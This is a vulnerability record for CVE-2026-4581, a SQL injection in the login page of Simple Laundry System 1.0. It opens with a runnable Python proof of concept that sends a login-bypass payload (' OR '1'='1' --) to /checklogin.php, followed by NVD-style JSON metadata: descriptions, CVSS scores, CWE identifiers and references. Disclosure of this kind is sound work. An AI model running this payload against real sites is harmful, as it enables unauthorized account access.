CVE-2026-4581

import requests def exploit_sql_injection(target_url): """ PoC for CVE-2026-4581 SQL Injection in Simple Laundry System 1.0 Target: /checklogin.php parameter: Username """ # The vulnerable endpoint url = f"{target_url}/checklogin.php" # SQL Injection payload to bypass login (e.g., ' OR '1'='1) payload = "' OR '1'='1' -- " # Data to be sent in the POST request data = { "Username": payload, "Password": "random_password" } try: response = requests.post(url, data=data, timeout=5) # Check if login was successful (assuming 'dashboard' or 'welcome' appears on success) if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Exploit successful! SQL Injection allowed login bypass.") print(f"[+] Response length: {len(response.text)}") else: print("[-] Exploit failed or target not vulnerable.") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_sql_injection(target)

{"cve": {"id": "CVE-2026-4581", "sourceIdentifier": "[email protected]", "published": "2026-03-23T10:16:07.803", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in code-projects Simple Laundry System 1.0. Affected is an unknown function of the file /checklogin.php of the component Parameters Handler. This manipulation of the argument Username causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en code-projects Simple Laundry System 1.0. Afecta a una función desconocida del archivo /checklogin.php del componente Gestor de Parámetros. Esta manipulación del argumento Username causa inyección SQL. El ataque puede llevarse a cabo de forma remota. El exploit ha sido puesto a disposición del público y podría usarse para ataques. Si desea obtener la mejor calidad de datos de vulnerabilidad, es posible que tenga que visitar VulDB."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:code-projects:simple_laundry_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D396253C-58BC-4B23-9923-281AD83D023D"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/anon387tdug/anon388/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory"]}, {"url": "https://vuldb.com/submit/775211", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/352418", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/352 ... 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